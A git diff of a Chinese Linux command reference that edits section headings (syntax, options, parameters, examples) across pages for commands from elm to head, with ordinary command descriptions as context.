b/command/elm.md index 2ad272b88b9..6b8ce012199 100644 --- a/command/elm.md +++ b/command/elm.md @@ -7,13 +7,13 @@ elm **elm命令** 是一个E-mail客户端管理程序，它提供了纯文本交互式全屏幕界面。 -### 语法 +### 语法 ```shell elm(选项) ``` -### 选项 +### 选项 ```shell -s<邮件主题>：指定新邮件的邮件主题； diff --git a/command/emacs.md b/command/emacs.md index d42a8cf1764..3b4d2cee91d 100644 --- a/command/emacs.md +++ b/command/emacs.md @@ -7,13 +7,13 @@ emacs **emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器，它支持多种编程语言，具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。 -### 语法 +### 语法 ```shell emacs(选项)(参数) ``` -### 选项 +### 选项 ```shell +<行号>：启动emacs编辑器，并将光标移动到制定行号的行； @@ -25,7 +25,7 @@ emacs(选项)(参数) -batch：以批处理模式运行emacs编辑器。 ``` -### 参数 +### 参数 文件：指定要编辑的文本文件。 diff --git a/command/enable.md b/command/enable.md index c8c20d0c6c0..bb5bd256d0f 100644 --- a/command/enable.md +++ b/command/enable.md @@ -9,13 +9,13 @@ enable linux shell命令执行时，shell总是先在自己的shell builtin中查找该命令，如果找到则执行该命令；如果找不到该命令，则会从环境变量$PATH指定的路径中依次去查找待执行的命令。因为了解了这一点，所以看起来好像没有办法编写用户自己的命令来替代shell builtin命令。幸运的是，有了enable命令我们就能做到了。 -### 语法 +### 语法 ```shell enable(选项)(参数) ``` -### 选项 +### 选项 ```shell -n：关闭指定的内部命令； @@ -23,11 +23,11 @@ enable(选项)(参数) -f：从指定文件中读取内部命令。 ``` -### 参数 +### 参数 内部命令：指定要关闭或激活的内部命令。 -### 实例 +### 实例 使用enable命令显示所有激活的内部命令： diff --git a/command/env.md b/command/env.md index 27caaf9c984..c722c9bc80a 100644 --- a/command/env.md +++ b/command/env.md @@ -9,25 +9,25 @@ env 如果使用env命令在新环境中执行指令时，会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时，用户可以重新定义一个新的"PATH"或者使用绝对路径。 -### 语法 +### 语法 ```shell env(选项)(参数) ``` -### 选项 +### 选项 ```shell -i：开始一个新的空的环境； -u<变量名>：从当前环境中删除指定的变量。 ``` -### 参数 +### 参数 * 变量定义：定义在新的环境中变量，定义多个变量定义用空格隔开。格式为“变量名=值”； * 指定：指定要执行的指令和参数。 -### 实例 +### 实例 ```shell [root@localhost ~]# env diff --git a/command/ethtool.md b/command/ethtool.md index 0751bf5de06..b25559054ab 100644 --- a/command/ethtool.md +++ b/command/ethtool.md @@ -7,7 +7,7 @@ ethtool ethtool命令用于获取以太网卡的配置信息，或者修改这些配置。这个命令比较复杂，功能特别多。 -### 语法 +### 语法 ```shell ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX @@ -23,7 +23,7 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port [wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N] ``` -### 选项 +### 选项 ```shell -a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态：启动on 或 停用off。 @@ -45,7 +45,7 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port -s 修改网卡的部分配置，包括网卡速度、单工/全双工模式、mac地址等。 ``` -### 数据来源 +### 数据来源 Ethtool命令显示的信息来源于网卡驱动层，即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为： @@ -196,7 +196,7 @@ driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 由上可见，ethtool命令用于显示/配置网卡硬件（寄存器）。   -### 实例 +### 实例 查看机器上网卡的速度：百兆还是千兆，请输入： diff --git a/command/ex.md b/command/ex.md index 05a443a3d3a..4dff4c72abd 100644 --- a/command/ex.md +++ b/command/ex.md @@ -7,13 +7,13 @@ ex 在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`，适用于法及参数可参照vi指令，如要从Ex模式回到普通模式，则在vim中输入`:vi`或`:visual`即可。 -### 语法 +### 语法 ```shell ex（参数） ``` -### 参数 +### 参数 文件：指定待编辑的文件。 diff --git a/command/exec.md b/command/exec.md index e861f0a9169..78c38bd0fa8 100644 --- a/command/exec.md +++ b/command/exec.md @@ -7,23 +7,23 @@ exec **exec命令** 用于调用并执行指令的命令。exec命令通常用在shell脚本程序中，可以调用其他的命令。如果在当前终端中使用命令，则当指定的命令执行完毕后会立即退出终端。 -### 语法 +### 语法 ```shell exec(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：在空环境中执行指定的命令。 ``` -### 参数 +### 参数 指令：要执行的指令和相应的参数。 -### 实例 +### 实例 首先使用echo命令将文本“Linux C++”进行输出，输入如下命令： diff --git a/command/exit.md b/command/exit.md index a168d764e82..40cb8d88115 100644 --- a/command/exit.md +++ b/command/exit.md @@ -7,17 +7,17 @@ exit **exit命令** 同于退出shell，并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数，则shell以预设值退出。状态值0代表执行成功，其他值代表执行失败。 -### 语法 +### 语法 ```shell exit(参数) ``` -### 参数 +### 参数 返回值：指定shell返回值。 -### 实例 +### 实例 退出当前shell： diff --git a/command/expand.md b/command/expand.md index 45ba5f716de..16087acf120 100644 --- a/command/expand.md +++ b/command/expand.md @@ -7,19 +7,19 @@ expand **expand命令** 用于将文件的制表符（TAB）转换为空白字符（space），将结果显示到标准输出设备。 -### 语法 +### 语法 ```shell expand(选项)(参数) ``` -### 选项 +### 选项 ```shell -t<数字>：指定制表符所代表的空白字符的个数，而不使用默认的8。 ``` -### 参数 +### 参数 文件：指定要转换制表符为空白的文件。 diff --git a/command/export.md b/command/export.md index a27847d66ee..c52b96cf54a 100644 --- a/command/export.md +++ b/command/export.md @@ -9,13 +9,13 @@ export 一个变量创建时，它不会自动地为在它之后创建的shell进程所知。而命令export可以向后面的shell传递变量的值。当一个shell脚本调用并执 行时，它不会自动得到原为脚本（调用者）里定义的变量的访问权，除非这些变量已经被显式地设置为可用。export命令可以用于传递一个或多个变量的值到任何后继脚本。 -### 语法 +### 语法 ```shell export(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：代表[变量名称]中为函数名称； @@ -23,11 +23,11 @@ export(选项)(参数) -p：列出所有的shell赋予程序的环境变量。 ``` -### 参数 +### 参数 变量：指定要输出或者删除的环境变量。 -### 实例 +### 实例 一般来说，配置交叉编译工具链的时候需要指定编译工具的路径，此时就需要设置环境变量。查看已经存在的环境变量： diff --git a/command/expr.md b/command/expr.md index df5e7313f11..cc44b58528a 100644 --- a/command/expr.md +++ b/command/expr.md @@ -15,24 +15,24 @@ expr的常用运算符： - 除法运算：`/` - 求摸（取余）运算：`%` -### 语法 +### 语法 ```shell expr(选项)(参数) ``` -### 选项 +### 选项 ```shell --help：显示指令的帮助信息； --version：显示指令版本信息。 ``` -### 参数 +### 参数 表达式：要求值的表达式。 -### 实例 +### 实例 ```shell result=`expr 2 + 3` diff --git a/command/fc.md b/command/fc.md index ef3d6ce97e0..75b4d8fc4b4 100644 --- a/command/fc.md +++ b/command/fc.md @@ -7,14 +7,14 @@ fc **fc命令** 自动掉用vi编辑器修改已有历史命令，当保存时立即执行修改后的命令，也可以用来显示历史命令。fc命令编辑历史命令时，会自动调用vi编辑器。fc保存文件后，会自动执行所编辑过的命令。 -### 语法 +### 语法 ```shell fc [-e 编辑器名] [-lnr] [起始] [终结] fc -s [模式=替换串] [命令] ``` -### 选项 +### 选项 ```shell -l：显示历史命令； @@ -22,12 +22,12 @@ fc -s [模式=替换串] [命令] -r：反序显示历史命令。 ``` -### 参数 +### 参数 * 起始指令编号：指定要编辑的起始指令编号； * 结尾指令编号：指定要编辑的结尾指令编号。 -### 实例 +### 实例 使用该指令显示最近使用的10条历史命令，输入如下命令： diff --git a/command/fdisk.md b/command/fdisk.md index c42e63fcdbe..6f1961e3297 100644 --- a/command/fdisk.md +++ b/command/fdisk.md @@ -7,13 +7,13 @@ fdisk **fdisk命令** 用于观察硬盘实体使用情况，也可对硬盘分区。它采用传统的问答式界面，而非类似DOS fdisk的cfdisk互动式操作界面，因此在使用上较为不便，但功能却丝毫不打折扣。 -### 语法 +### 语法 ```shell fdisk(选项)(参数) ``` -### 选项 +### 选项 ```shell -b <大小> 扇区大小(512、1024、2048或4096) @@ -26,11 +26,11 @@ fdisk(选项)(参数) -S <数字> 指定每个磁道的扇区数 ``` -### 参数 +### 参数 设备文件：指定要进行分区或者显示分区的硬盘设备文件。 -### 实例 +### 实例 首先选择要进行操作的磁盘： diff --git a/command/fg.md b/command/fg.md index 80203158269..b2f746e24c9 100644 --- a/command/fg.md +++ b/command/fg.md @@ -9,17 +9,17 @@ fg 在Linux系统中执行某些操作时候，有时需要将当前任务暂停调至后台，或有时须将后台暂停的任务重启开启并调至前台，这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 -### 语法 +### 语法 ```shell fg(参数) ``` -### 参数 +### 参数 作业标识：指定要放到前台的作业标识号。 -### 实例 +### 实例 使用fg命令将任务号为1的任务从后台执行转换到前台执行，输入如下命令： diff --git a/command/fgrep.md b/command/fgrep.md index 73cf13aac2c..f0cc47c0af9 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -17,13 +17,13 @@ fgrep 命令于 grep 和 egrep 命令不同，因为它搜索字符串而不是 6. 输入文件应该以换行字符结尾。 7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 -### 语法 +### 语法 ```shell fgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 @@ -51,7 +51,7 @@ n：将文件中每行的相对行号置于行前。 >1 发现语法错误，或者文件不可访问（即使找到了匹配项）。 ``` -### 实例 +### 实例 **搜索几个文件中的一个简单字符串：** diff --git a/command/file.md b/command/file.md index 524af47fe2b..d11ab9e3cc5 100644 --- a/command/file.md +++ b/command/file.md @@ -7,13 +7,13 @@ file **file命令** 用来探测给定文件的类型。file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。 -### 语法 +### 语法 ```shell file(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：列出辨识结果时，不显示文件名称； @@ -25,11 +25,11 @@ file(选项)(参数) -z：尝试去解读压缩文件的内容。 ``` -### 参数 +### 参数 文件：要确定类型的文件列表，多个文件之间使用空格分开，可以使用shell通配符匹配多个文件。 -### 实例 +### 实例 显示文件类型 diff --git a/command/findfs.md b/command/findfs.md index 0c3e3693f8a..d63715ee96e 100644 --- a/command/findfs.md +++ b/command/findfs.md @@ -7,17 +7,17 @@ findfs **findfs命令** 依据卷标（Label）和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘，看是否有匹配的标签或者UUID没有，如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。 -### 语法 +### 语法 ```shell findfs(参数) ``` -### 参数 +### 参数 `LABEL=<卷标>`或者`UUID=`：按照卷标或者UUID查询文件系统。 -### 实例 +### 实例 通过卷标名查找对应的文件系统： diff --git a/command/finger.md b/command/finger.md index e637e191e5f..3219886b597 100644 --- a/command/finger.md +++ b/command/finger.md @@ -7,13 +7,13 @@ finger **finger命令** 用于查找并显示用户信息。包括本地与远端主机的用户皆可，帐号名称没有大小写的差别。单独执行finger指令，它会显示本地主机现在所有的用户的登陆信息，包括帐号名称，真实姓名，登入终端机，闲置时间，登入时间以及地址和电话。 -### 语法 +### 语法 ```shell finger(选项)(参数) ``` -### 选项 +### 选项 ```shell -l：列出该用户的帐号名称，真实姓名，用户专属目录，登入所用的Shell，登入时间，转信地址，电子邮件状态，还有计划文件和方案文件内容； @@ -24,11 +24,11 @@ finger(选项)(参数) 不指定finger的选项如果提供操作者的话，缺省设为`-l`输出风格，否则为`-s`风格，注意在两种格式中，如果信息不足，都有一些域可能丢失，如果没有指定参数finger会为当前登录的每个用户打印一个条目。 -### 参数 +### 参数 用户名：指定要查询信息的用户。 -### 实例 +### 实例 在计算机上使用finger： diff --git a/command/firewall-cmd.md b/command/firewall-cmd.md index 394df08f36a..6724f786cd3 100644 --- a/command/firewall-cmd.md +++ b/command/firewall-cmd.md @@ -47,7 +47,7 @@ firewall-cmd [选项 ... ] --set-log-denied= # 设置记录被拒绝的日志，只能为 'all','unicast','broadcast','multicast','off' 其中的一个； ``` -### 实例 +### 实例 ```shell # 安装firewalld diff --git a/command/fmt.md b/command/fmt.md index 7bc4e692a0f..e390e22888d 100644 --- a/command/fmt.md +++ b/command/fmt.md @@ -7,13 +7,13 @@ fmt **fmt命令** 读取文件的内容，根据选项的设置对文件格式进行简单的优化处理，并将结果送到标准输出设备。 -### 语法 +### 语法 ```shell fmt(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或--crown-margin：每段前两列缩排； @@ -24,7 +24,7 @@ fmt(选项)(参数) -w<每列字符数>或--width=<每列字符数>或-<每列字符数>：设置每列的最大字符数。 ``` -### 参数 +### 参数 指定要优化格式的文件。 diff --git a/command/fold.md b/command/fold.md index f268f52417c..b6e1d6d054a 100644 --- a/command/fold.md +++ b/command/fold.md @@ -7,13 +7,13 @@ fold **fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容，将超过限定列宽的列加入增列字符后，输出到标准输出设备。若不指定任何文件名称，或是所给予的文件名为“-”，则fold指令会从标准输入设备读取数据。 -### 语法 +### 语法 ```shell fold(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或——bytes：以Byte为单位计算列宽，而非采用行数编号为单位； @@ -21,7 +21,7 @@ fold(选项)(参数) -w<每列行数>或--width<每列行数>：设置每列的最大行数。 ``` -### 参数 +### 参数 文件：指定要显示内容的文件。 diff --git a/command/free.md b/command/free.md index e92445eca1f..cdff551cf0e 100644 --- a/command/free.md +++ b/command/free.md @@ -7,13 +7,13 @@ free **free命令** 可以显示当前系统未使用的和已使用的内存数目，还可以显示被内核使用的内存缓冲区。 -### 语法 +### 语法 ```shell free(选项) ``` -### 选项 +### 选项 ```shell -b # 以Byte为单位显示内存使用情况； @@ -26,7 +26,7 @@ free(选项) -V # 显示版本信息。 ``` -### 实例 +### 实例 ```shell free -t # 以总和的形式显示内存的使用信息 diff --git a/command/fsck.md b/command/fsck.md index a05d222b11d..8529e0e032a 100644 --- a/command/fsck.md +++ b/command/fsck.md @@ -7,13 +7,13 @@ fsck **fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化，可用fsck指令尝试加以修复。 -### 语法 +### 语法 ```shell fsck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：自动修复文件系统，不询问任何问题； @@ -28,11 +28,11 @@ fsck(选项)(参数) -V：显示指令执行过程。 ``` -### 参数 +### 参数 文件系统：指定要查看信息的文件系统。 -### 实例 +### 实例 linux的文件系统损坏会导致linux不正常关机，出错的时候如果系统告诉你是哪一块硬盘的分区有问题，比如是`/dev/hda2`，接着用如下的命令去对付它： diff --git a/command/ftp.md b/command/ftp.md index 83bf5d8cd0e..455fbcff131 100644 --- a/command/ftp.md +++ b/command/ftp.md @@ -7,13 +7,13 @@ ftp **ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见，Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件，这里详细介绍Linux ftp命令的一些经常使用的命令，相信掌握了这些使用Linux进行ftp操作将会非常容易。 -### 语法 +### 语法 ```shell ftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：详细显示指令执行过程，便于排错或分析程序执行的情况； @@ -23,11 +23,11 @@ ftp(选项)(参数) -v：显示指令执行过程。 ``` -### 参数 +### 参数 主机：指定要连接的FTP服务器的主机名或ip地址。 -### 实例 +### 实例 ```shell ftp> ascii # 设定以ASCII方式传送文件(缺省值) diff --git a/command/ftptop.md b/command/ftptop.md index f27cf2e7be3..397339c3a6f 100644 --- a/command/ftptop.md +++ b/command/ftptop.md @@ -7,13 +7,13 @@ proftpd服务器的连接状态 **ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。 -### 语法 +### 语法 ```shell ftptop(选项) ``` -### 选项 +### 选项 ```shell -D：过滤正在下载的会话； diff --git a/command/ftpwho.md b/command/ftpwho.md index eff0147d957..f89e268e242 100644 --- a/command/ftpwho.md +++ b/command/ftpwho.md @@ -7,13 +7,13 @@ ftpwho **ftpwho命令** ftp服务器套件proftpd的工作指令，用于显示当前每个ftp会话信息。 -### 语法 +### 语法 ```shell ftpwho(选项) ``` -### 选项 +### 选项 ```shell -h：显示帮助信息； diff --git a/command/fuser.md b/command/fuser.md index 30a8e3164b6..79a3fcd7e2b 100644 --- a/command/fuser.md +++ b/command/fuser.md @@ -16,13 +16,13 @@ fuser * `r` ：指示该目录为进程的根目录。 * `m` ：指示进程使用该文件进行内存映射，抑或该文件为共享库文件，被进程映射进内存。 -### 语法 +### 语法 ```shell fuser(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：显示命令行中指定的所有文件； @@ -34,11 +34,11 @@ fuser(选项)(参数) -u：在每个进程后显示所属的用户名。 ``` -### 参数 +### 参数 文件：可以是文件名或者TCP、UDP端口号。 -### 实例 +### 实例 要列出使用`/etc/passwd`文件的本地进程的进程号，请输入： diff --git a/command/gcc.md b/command/gcc.md index 7acb65e88e1..015dbd995c5 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -7,13 +7,13 @@ gcc **gcc命令** 使用GNU推出的基于C/C++的编译器，是开放源代码领域应用最广泛的编译器，具有功能强大，编译代码支持性能优化等特点。现在很多程序员都应用GCC，怎样才能更好的应用GCC。目前，GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序，可根据需要选择安装支持的语言。 -### 语法 +### 语法 ```shell gcc(选项)(参数) ``` -### 选项 +### 选项 ```shell -o：指定生成的输出文件； @@ -23,11 +23,11 @@ gcc(选项)(参数) -c：仅执行编译操作，不进行连接操作。 ``` -### 参数 +### 参数 C源文件：指定C语言源代码文件。 -### 实例 +### 实例 **常用编译命令选项** diff --git a/command/gcov.md b/command/gcov.md index 071a05a3c2e..01d9d63aa1f 100644 --- a/command/gcov.md +++ b/command/gcov.md @@ -7,13 +7,13 @@ gcov **gcov命令** 是一款测试程序的代码覆盖率的工具。 -### 语法 +### 语法 ```shell gcov(选项)(参数) ``` -### 选项 +### 选项 ```shell -h：显示帮助信息； @@ -22,7 +22,7 @@ gcov(选项)(参数) -n：并创建输出文件。 ``` -### 参数 +### 参数 V语言文件：C语言源代码文件。 diff --git a/command/get_module.md b/command/get_module.md index c5868df8a24..97d6a41c9c0 100644 --- a/command/get_module.md +++ b/command/get_module.md @@ -7,13 +7,13 @@ get_module **get_module命令** 用于获取Linux内核模块的详细信息。 -### 语法 +### 语法 ```shell get_module 模块名 ``` -### 实例 +### 实例 使用lsmod命令查看内核模块： diff --git a/command/getenforce.md b/command/getenforce.md index d15edf72fe2..382e6ae56c6 100644 --- a/command/getenforce.md +++ b/command/getenforce.md @@ -7,7 +7,7 @@ getenforce **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 ```shell getenforce diff --git a/command/getsebool.md b/command/getsebool.md index 0b3edd2437f..3daaec24ac7 100644 --- a/command/getsebool.md +++ b/command/getsebool.md @@ -7,19 +7,19 @@ getsebool **getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令：seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 -### 语法 +### 语法 ```shell getsebool [-a] [布尔值条款] ``` -### 选项 +### 选项 ```shell -a：列出目前系统上面的所有布尔值条款设置为开启或关闭值。 ``` -### 实例 +### 实例 查询本系统内所有的布尔值设置状况： diff --git a/command/git.md b/command/git.md index 854a7b57fe9..dc3c96ed549 100644 --- a/command/git.md +++ b/command/git.md @@ -27,7 +27,7 @@ Git迅速成为最流行的分布式版本控制系统，尤其是2008年，GitH [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) -### 语法 +### 语法 ```shell git [--version] [--help] [-C ] [-c name=value] @@ -37,7 +37,7 @@ git [--version] [--help] [-C ] [-c name=value] [] ``` -### 选项 +### 选项 ```shell add 将文件内容添加到索引 diff --git a/command/gpasswd.md b/command/gpasswd.md index c523f433de1..997db2aaf4a 100644 --- a/command/gpasswd.md +++ b/command/gpasswd.md @@ -7,13 +7,13 @@ Linux下工作组文件的管理工具 **gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。 -### 语法 +### 语法 ```shell gpasswd(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：添加用户到组； @@ -24,11 +24,11 @@ gpasswd(选项)(参数) -R：限制用户登入组，只有组中的成员才可以用newgrp加入该组。 ``` -### 参数 +### 参数 组：指定要管理的工作组。 -### 实例 +### 实例 如系统有个peter账户，该账户本身不是groupname群组的成员，使用newgrp需要输入密码即可。 diff --git a/command/gpm.md b/command/gpm.md index 6b01e8cd50f..be8c1356b8a 100644 --- a/command/gpm.md +++ b/command/gpm.md @@ -7,13 +7,13 @@ gpm **gpm命令** 是Linux的虚拟控制台下的鼠标服务器，用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。 -### 语法 +### 语法 ```shell gpm(选项) ``` -### 选项 +### 选项 ```shell -a：设置加速值； diff --git a/command/grep.md b/command/grep.md index c7c5b065495..bfa45e34667 100644 --- a/command/grep.md +++ b/command/grep.md @@ -7,7 +7,7 @@ grep **grep** （global search regular expression(RE) and print out the line，全面搜索正则表达式并把行打印出来）是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能多种命令配合使用，使用上十分灵活。 -### 选项 +### 选项 ```shell -a --text # 不要忽略二进制数据。 @@ -137,7 +137,7 @@ echo gun is not unix | grep -b -o "not" grep -l "text" file1 file2 file3... ``` -### grep递归搜索文件 +### grep递归搜索文件 在多级目录中对文本进行递归搜索： diff --git a/command/groupadd.md b/command/groupadd.md index 27c818c3476..f5d973325c4 100644 --- a/command/groupadd.md +++ b/command/groupadd.md @@ -7,13 +7,13 @@ groupadd **groupadd命令** 用于创建一个新的工作组，新工作组的信息将被添加到系统文件中。 -### 语法 +### 语法 ```shell groupadd(选项)(参数) ``` -### 选项 +### 选项 ```shell -g：指定新建工作组的id； @@ -22,11 +22,11 @@ groupadd(选项)(参数) -o：允许添加组ID号不唯一的工作组。 ``` -### 参数 +### 参数 组名：指定新建工作组的组名。 -### 实例 +### 实例 建立一个新组，并设置组ID加入系统： diff --git a/command/groupdel.md b/command/groupdel.md index 6a191582280..cf3f47c5d9c 100644 --- a/command/groupdel.md +++ b/command/groupdel.md @@ -7,17 +7,17 @@ groupdel **groupdel命令** 用于删除指定的工作组，本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户，则必须先删除这些用户后，方能删除群组。 -### 语法 +### 语法 ```shell groupdel(参数) ``` -### 参数 +### 参数 组：要删除的工作组名。 -### 实例 +### 实例 ```shell groupadd damon //创建damon工作组 diff --git a/command/groupmod.md b/command/groupmod.md index 3403fb45b4a..cdd9c451041 100644 --- a/command/groupmod.md +++ b/command/groupmod.md @@ -7,13 +7,13 @@ groupmod **groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时，可用groupmod指令来完成这项工作。 -### 语法 +### 语法 ```shell groupmod(选项)(参数) ``` -### 选项 +### 选项 ```shell -g<群组识别码>：设置欲使用的群组识别码； @@ -21,7 +21,7 @@ groupmod(选项)(参数) -n<新群组名称>：设置欲使用的群组名称。 ``` -### 参数 +### 参数 组名：指定要修改的工作的组名。 diff --git a/command/groups.md b/command/groups.md index 58c1e570656..373643cf308 100644 --- a/command/groups.md +++ b/command/groups.md @@ -7,24 +7,24 @@ groups **groups命令** 在标准输入输出上输出指定用户所在组的组成员，每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 -### 语法 +### 语法 ```shell groups(选项)(参数) ``` -### 选项 +### 选项 ```shell -help：显示命令的帮助信息； --version：显示命令的版本信息。 ``` -### 参数 +### 参数 用户名：指定要打印所属工作组的用户名。 -### 实例 +### 实例 显示linux用户所属的组 diff --git a/command/grpck.md b/command/grpck.md index 91bec81a7c5..1066d3be9c3 100644 --- a/command/grpck.md +++ b/command/grpck.md @@ -9,20 +9,20 @@ grpck grpck命令检查数据是否正确存放，每条记录是否都包含足够的信息，是否有一个唯一的组名，是否包含正确的用户，是否正确设置了组的管理员等。grpck检查发现错误以后，在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录，grpck终止运行。 -### 语法 +### 语法 ```shell grpck(选项) ``` -### 选项 +### 选项 ```shell -r：只读模式； -s：排序组id。 ``` -### 实例 +### 实例 对组账号和影子文件进行验证： diff --git a/command/grpconv.md b/command/grpconv.md index b50f81e2aab..a8bfea31413 100644 --- a/command/grpconv.md +++ b/command/grpconv.md @@ -7,13 +7,13 @@ grpconv **grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码，分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需，任何人都得以读取它们，造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内，只允许系统管理者读取，同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭，您只需执行grpconv指令就能开启群组投影密码。 -### 语法 +### 语法 ```shell grpconv ``` -### 实例 +### 实例 设置cdy组密码 diff --git a/command/grpunconv.md b/command/grpunconv.md index 5958b4a359d..68ebb3f2023 100644 --- a/command/grpunconv.md +++ b/command/grpunconv.md @@ -7,13 +7,13 @@ grpunconv **grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内，回存到group文件里。 -### 语法 +### 语法 ```shell grpunconv ``` -### 实例 +### 实例 未关闭的情况 diff --git a/command/grub.md b/command/grub.md index e7c75bc6e8c..0d0a586e363 100644 --- a/command/grub.md +++ b/command/grub.md @@ -7,13 +7,13 @@ grub **grub命令** 是多重引导程序grub的命令行shell工具。 -### 语法 +### 语法 ```shell grub(选项) ``` -### 选项 +### 选项 ```shell --batch：打开批处理模式； @@ -29,7 +29,7 @@ grub(选项) --read-only：只读模式。 ``` -### 实例 +### 实例 利用grub命令来启动损坏的Linux系统，可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多，可能的现象也很多。 diff --git a/command/gunzip.md b/command/gunzip.md index 9c7b5c3a5af..bebefb9e758 100644 --- a/command/gunzip.md +++ b/command/gunzip.md @@ -7,13 +7,13 @@ gunzip **gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序，它用于解开被gzip压缩过的文件，这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接，因此不论是压缩或解压缩，都可通过gzip指令单独完成。 -### 语法 +### 语法 ```shell gunzip(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或——ascii：使用ASCII文字模式； @@ -32,11 +32,11 @@ gunzip(选项)(参数) -V或——version：显示版本信息； ``` -### 参数 +### 参数 文件列表：指定要解压缩的压缩包。 -### 实例 +### 实例 首先将`/etc`目录下的所有文件以及子目录进行压缩，备份压缩包etc.zip到`/opt`目录，然后对etc.zip文件进行gzip压缩，设置gzip的压缩级别为9。 diff --git a/command/gzexe.md b/command/gzexe.md index c6658a9eef1..079106d68d1 100644 --- a/command/gzexe.md +++ b/command/gzexe.md @@ -7,19 +7,19 @@ gzexe **gzexe命令** 用来压缩可执行文件，压缩后的文件仍然为可执行文件，在执行时进行自动解压缩。当您去执行被压缩过的执行文件时，该文件会自动解压然后继续执行，和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。 -### 语法 +### 语法 ```shell gzexe(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：解压缩被gzexe压缩过的可执行文件。 ``` -### 参数 +### 参数 文件：指定需要压缩的可执行文件。 diff --git a/command/halt.md b/command/halt.md index dc3bba6fe42..501d20876b9 100644 --- a/command/halt.md +++ b/command/halt.md @@ -7,13 +7,13 @@ halt **halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel，若runlevel为0或6，则关闭系统，否则即调用shutdown来关闭系统。 -### 语法 +### 语法 ```shell halt(选项) ``` -### 选项 +### 选项 ```shell -d：不要在wtmp中记录； @@ -24,7 +24,7 @@ halt(选项) -w：仅在wtmp中记录，而不实际结束系统。 ``` -### 实例 +### 实例 ```shell halt -p # 关闭系统后关闭电源。 diff --git a/command/hdparm.md b/command/hdparm.md index a2af8d50908..c9ba8c022f0 100644 --- a/command/hdparm.md +++ b/command/hdparm.md @@ -7,13 +7,13 @@ hdparm **hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。 -### 语法 +### 语法 ```shell hdparm(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<快取分区>：设定读取文件时，预先存入块区的分区数，若不加上<快取分区>选项，则显示目前的设定； @@ -46,11 +46,11 @@ hdparm(选项)(参数) -Z：关闭某些Seagate硬盘的自动省电功能。 ``` -### 参数 +### 参数 设备文件：指定id驱动对应的设备文件名。 -### 实例 +### 实例 显示硬盘的相关设置： diff --git a/command/head.md b/command/head.md index f3144bf8aa5..396046180d9 100644 --- a/command/head.md +++ b/command/head.md @@ -7,13 +7,13 @@ head **head命令** 用于显示文件的开头的内容。在默认情况下，head命令显示文件的头10行内容。 -### 语法 +### 语法 ```shell head(选项)(参数) ``` -### 选项 +### 选项 ```shell -n<数字>：指定显示头部内容的行数； @@ -22,7 +22,7 @@ 